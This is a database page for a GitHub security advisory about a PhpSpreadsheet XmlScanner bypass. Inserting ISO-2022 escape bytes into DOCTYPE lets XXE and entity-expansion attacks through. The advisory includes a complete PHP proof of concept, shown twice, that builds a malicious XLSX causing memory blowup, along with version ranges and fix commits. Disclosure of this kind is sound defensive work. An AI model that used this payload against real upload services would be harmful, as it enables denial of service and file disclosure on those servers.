GHSA-3X94-M842-937C

Vulnerability from github – Published: 2026-10-27 15:38 – Updated: 2026-10-27 15:38
VLAI
Summary
PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service
Details

Summary

PhpSpreadsheet's XmlScanner::scan() uses a regex pattern that only accounts for NULL byte (0x00) interleaving when detecting <!DOCTYPE. ISO-2022 escape sequences (0x1B bytes) inserted between the characters of the pattern break the regex match entirely, allowing DOCTYPE declarations with entity definitions to pass through undetected. This enables Denial of Service via quadratic entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used. Any application using PhpSpreadsheet to process user-uploaded XLSX files is affected.

Details

The vulnerability exists in src/PhpSpreadsheet/Reader/Security/XmlScanner.php, method scan(), lines 87–100.

The scanner builds a regex pattern /\0*<\0*!\0*D\0*O\0*C\0*T\0*Y\0*P\0*E\0*/ that only handles NULL byte interleaving. ISO-2022 escape sequences (e.g., 0x1B 0x28 0x42 for ISO-2022-JP) inserted between each character of <!DOCTYPE break the regex because it only expects optional \0 between characters.

The XLSX reader extracts XML parts from the ZIP archive and passes each through XmlScanner::scan() before simplexml_load_string(). The XML parser strips the ESC bytes during charset normalization, producing a valid <!DOCTYPE declaration that the scanner never detected.

Seven ISO-2022 encoding variants bypass the scanner: - ISO-2022-JP (ESC ( B) - ISO-2022-JP-2 (ESC $ B) - ISO-2022-KR (ESC $ ) C) - ISO-2022-CN (ESC $ ) A) - ISO-2022-CN-EXT (ESC $ ) G) - ISO-2022-JP-2004 (ESC $ ( Q) - ISO-2022-JP-MS (ESC & @ ESC $ B)

Internal entity expansion (quadratic blowup) is not blocked by libxml2 2.9+ defaults, making this directly exploitable for DoS on all modern PHP versions.

PoC

Save the following as poc_iso2022.php in a directory with PhpSpreadsheet installed via Composer:

<?php
require 'vendor/autoload.php';

// ESC ( B = ISO-2022-JP escape sequence (switch to ASCII)
$esc = "\x1b\x28\x42";

// Build <!DOCTYPE with ESC bytes between each character
$doctype = "<".$esc."!".$esc."D".$esc."O".$esc."C".$esc."T".$esc."Y".$esc."P".$esc."E";

// Internal entity for DoS (works on ALL PHP versions)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);

$shared_strings = '<?xml version="1.0" encoding="UTF-8"?>' . "\n"
    . $doctype . ' sst [' . "\n"
    . '  <!ENTITY big "' . $entity_value . '">' . "\n"
    . ']>' . "\n"
    . '<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">'
    . '<si><t>' . $refs . '</t></si></sst>';

// Build minimal XLSX
$xlsx = new ZipArchive();
$xlsx->open('poc.xlsx', ZipArchive::CREATE | ZipArchive::OVERWRITE);
$xlsx->addFromString('[Content_Types].xml',
    '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
    .'<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>'
    .'<Default Extension="xml" ContentType="application/xml"/>'
    .'<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>'
    .'<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>'
    .'<Override PartName="/xl/sharedStrings.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml"/>'
    .'</Types>');
$xlsx->addFromString('_rels/.rels',
    '<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
    .'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>'
    .'</Relationships>');
$xlsx->addFromString('xl/workbook.xml',
    '<?xml version="1.0"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">'
    .'<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>');
$xlsx->addFromString('xl/_rels/workbook.xml.rels',
    '<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
    .'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>'
    .'<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings" Target="sharedStrings.xml"/>'
    .'</Relationships>');
$xlsx->addFromString('xl/worksheets/sheet1.xml',
    '<?xml version="1.0"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">'
    .'<sheetData><row r="1"><c r="A1" t="s"><v>0</v></c></row></sheetData></worksheet>');
$xlsx->addFromString('xl/sharedStrings.xml', $shared_strings);
$xlsx->close();

echo "XLSX size: " . filesize('poc.xlsx') . " bytes\n";

// Load with PhpSpreadsheet
$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xlsx();
$reader->setReadDataOnly(true);
$spreadsheet = $reader->load('poc.xlsx');
$peak = memory_get_peak_usage(true);

echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";

$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";

Run: php -d memory_limit=512M poc_iso2022.php

Expected result: The scanner does not detect the DOCTYPE. The XLSX loads successfully. Internal entities expand, consuming ~45 MB of memory from a ~2 KB file.

Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.

Impact

Attack PHP < 8.0 / libxml2 < 2.9 PHP 8.x / libxml2 2.9+
Denial of Service (quadratic blowup) Exploitable Exploitable
Local file read via SYSTEM entity Exploitable Blocked by default
SSRF via SYSTEM entity Exploitable Blocked by default
File read when LIBXML_NOENT is used Exploitable Exploitable

Any application that accepts user-uploaded XLSX files and processes them with PhpSpreadsheet is vulnerable. The DoS impact is the most severe because it requires no special PHP configuration and works on all supported PHP versions. A 2 KB XLSX causes 45 MB peak memory usage (22,000:1 amplification ratio). Multiple concurrent uploads can exhaust server memory.

Severity
8.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.9.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.7"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.7"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.18"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-108358"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611",
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T15:38:28Z",
    "nvd_published_at": "2026-10-22T18:17:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nPhpSpreadsheet\u0027s `XmlScanner::scan()` uses a regex pattern that only accounts for NULL byte (0x00) interleaving when detecting `\u003c!DOCTYPE`. ISO-2022 escape sequences (0x1B bytes) inserted between the characters of the pattern break the regex match entirely, allowing DOCTYPE declarations with entity definitions to pass through undetected. This enables Denial of Service via quadratic entity expansion on **all PHP versions**, and XXE/SSRF on PHP \u003c 8.0 or when `LIBXML_NOENT` is used. Any application using PhpSpreadsheet to process user-uploaded XLSX files is affected.\n\n### Details\nThe vulnerability exists in `src/PhpSpreadsheet/Reader/Security/XmlScanner.php`, method `scan()`, lines 87\u2013100.\n\nThe scanner builds a regex pattern `/\\0*\u003c\\0*!\\0*D\\0*O\\0*C\\0*T\\0*Y\\0*P\\0*E\\0*/` that only handles NULL byte interleaving. ISO-2022 escape sequences (e.g., `0x1B 0x28 0x42` for ISO-2022-JP) inserted between each character of `\u003c!DOCTYPE` break the regex because it only expects optional `\\0` between characters.\n\nThe XLSX reader extracts XML parts from the ZIP archive and passes each through `XmlScanner::scan()` before `simplexml_load_string()`. The XML parser strips the ESC bytes during charset normalization, producing a valid `\u003c!DOCTYPE` declaration that the scanner never detected.\n\nSeven ISO-2022 encoding variants bypass the scanner:\n- ISO-2022-JP (`ESC ( B`)\n- ISO-2022-JP-2 (`ESC $ B`)\n- ISO-2022-KR (`ESC $ ) C`)\n- ISO-2022-CN (`ESC $ ) A`)\n- ISO-2022-CN-EXT (`ESC $ ) G`)\n- ISO-2022-JP-2004 (`ESC $ ( Q`)\n- ISO-2022-JP-MS (`ESC \u0026 @ ESC $ B`)\n\nInternal entity expansion (quadratic blowup) is **not blocked** by libxml2 2.9+ defaults, making this directly exploitable for DoS on all modern PHP versions.\n\n### PoC\n\nSave the following as `poc_iso2022.php` in a directory with PhpSpreadsheet installed via Composer:\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\n// ESC ( B = ISO-2022-JP escape sequence (switch to ASCII)\n$esc = \"\\x1b\\x28\\x42\";\n\n// Build \u003c!DOCTYPE with ESC bytes between each character\n$doctype = \"\u003c\".$esc.\"!\".$esc.\"D\".$esc.\"O\".$esc.\"C\".$esc.\"T\".$esc.\"Y\".$esc.\"P\".$esc.\"E\";\n\n// Internal entity for DoS (works on ALL PHP versions)\n$entity_value = str_repeat(\u0027A\u0027, 100000);\n$refs = str_repeat(\u0027\u0026big;\u0027, 200);\n\n$shared_strings = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u0027 . \"\\n\"\n    . $doctype . \u0027 sst [\u0027 . \"\\n\"\n    . \u0027  \u003c!ENTITY big \"\u0027 . $entity_value . \u0027\"\u003e\u0027 . \"\\n\"\n    . \u0027]\u003e\u0027 . \"\\n\"\n    . \u0027\u003csst xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" count=\"1\" uniqueCount=\"1\"\u003e\u0027\n    . \u0027\u003csi\u003e\u003ct\u003e\u0027 . $refs . \u0027\u003c/t\u003e\u003c/si\u003e\u003c/sst\u003e\u0027;\n\n// Build minimal XLSX\n$xlsx = new ZipArchive();\n$xlsx-\u003eopen(\u0027poc.xlsx\u0027, ZipArchive::CREATE | ZipArchive::OVERWRITE);\n$xlsx-\u003eaddFromString(\u0027[Content_Types].xml\u0027,\n    \u0027\u003c?xml version=\"1.0\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e\u0027\n    .\u0027\u003cDefault Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/\u003e\u0027\n    .\u0027\u003cDefault Extension=\"xml\" ContentType=\"application/xml\"/\u003e\u0027\n    .\u0027\u003cOverride PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/\u003e\u0027\n    .\u0027\u003cOverride PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/\u003e\u0027\n    .\u0027\u003cOverride PartName=\"/xl/sharedStrings.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml\"/\u003e\u0027\n    .\u0027\u003c/Types\u003e\u0027);\n$xlsx-\u003eaddFromString(\u0027_rels/.rels\u0027,\n    \u0027\u003c?xml version=\"1.0\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u0027\n    .\u0027\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/\u003e\u0027\n    .\u0027\u003c/Relationships\u003e\u0027);\n$xlsx-\u003eaddFromString(\u0027xl/workbook.xml\u0027,\n    \u0027\u003c?xml version=\"1.0\"?\u003e\u003cworkbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\u003e\u0027\n    .\u0027\u003csheets\u003e\u003csheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/\u003e\u003c/sheets\u003e\u003c/workbook\u003e\u0027);\n$xlsx-\u003eaddFromString(\u0027xl/_rels/workbook.xml.rels\u0027,\n    \u0027\u003c?xml version=\"1.0\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u0027\n    .\u0027\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/\u003e\u0027\n    .\u0027\u003cRelationship Id=\"rId2\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings\" Target=\"sharedStrings.xml\"/\u003e\u0027\n    .\u0027\u003c/Relationships\u003e\u0027);\n$xlsx-\u003eaddFromString(\u0027xl/worksheets/sheet1.xml\u0027,\n    \u0027\u003c?xml version=\"1.0\"?\u003e\u003cworksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"\u003e\u0027\n    .\u0027\u003csheetData\u003e\u003crow r=\"1\"\u003e\u003cc r=\"A1\" t=\"s\"\u003e\u003cv\u003e0\u003c/v\u003e\u003c/c\u003e\u003c/row\u003e\u003c/sheetData\u003e\u003c/worksheet\u003e\u0027);\n$xlsx-\u003eaddFromString(\u0027xl/sharedStrings.xml\u0027, $shared_strings);\n$xlsx-\u003eclose();\n\necho \"XLSX size: \" . filesize(\u0027poc.xlsx\u0027) . \" bytes\\n\";\n\n// Load with PhpSpreadsheet\n$mem_before = memory_get_usage(true);\n$reader = new \\PhpOffice\\PhpSpreadsheet\\Reader\\Xlsx();\n$reader-\u003esetReadDataOnly(true);\n$spreadsheet = $reader-\u003eload(\u0027poc.xlsx\u0027);\n$peak = memory_get_peak_usage(true);\n\necho \"Peak memory: \" . round($peak / 1024 / 1024, 1) . \" MB\\n\";\n\n$val = $spreadsheet-\u003egetActiveSheet()-\u003egetCell(\u0027A1\u0027)-\u003egetValue();\necho \"Cell A1 length: \" . strlen($val) . \" bytes\\n\";\necho \"Entity expansion: \" . (strlen($val) \u003e 10000 ? \"CONFIRMED\" : \"not detected\") . \"\\n\";\n```\n\nRun: `php -d memory_limit=512M poc_iso2022.php`\n\n**Expected result:** The scanner does not detect the DOCTYPE. The XLSX loads successfully. Internal entities expand, consuming ~45 MB of memory from a ~2 KB file.\n\n**Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.\n\n### Impact\n\n| Attack | PHP \u003c 8.0 / libxml2 \u003c 2.9 | PHP 8.x / libxml2 2.9+ |\n|--------|---------------------------|------------------------|\n| Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** |\n| Local file read via SYSTEM entity | **Exploitable** | Blocked by default |\n| SSRF via SYSTEM entity | **Exploitable** | Blocked by default |\n| File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** |\n\nAny application that accepts user-uploaded XLSX files and processes them with PhpSpreadsheet is vulnerable. The DoS impact is the most severe because it requires no special PHP configuration and works on all supported PHP versions. A 2 KB XLSX causes 45 MB peak memory usage (22,000:1 amplification ratio). Multiple concurrent uploads can exhaust server memory.",
  "id": "GHSA-3x94-m842-937c",
  "modified": "2026-10-27T15:38:28Z",
  "published": "2026-10-27T15:38:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-3x94-m842-937c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108358"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/299993894dce37aa3b64aa23e9a3f4bb77ab0e66"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/9a0b48622ebfe93fa48cb9bc09ce57303bb07af9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/da13f40e8760d599b0e8a296017d4b028b20e86c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.19"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.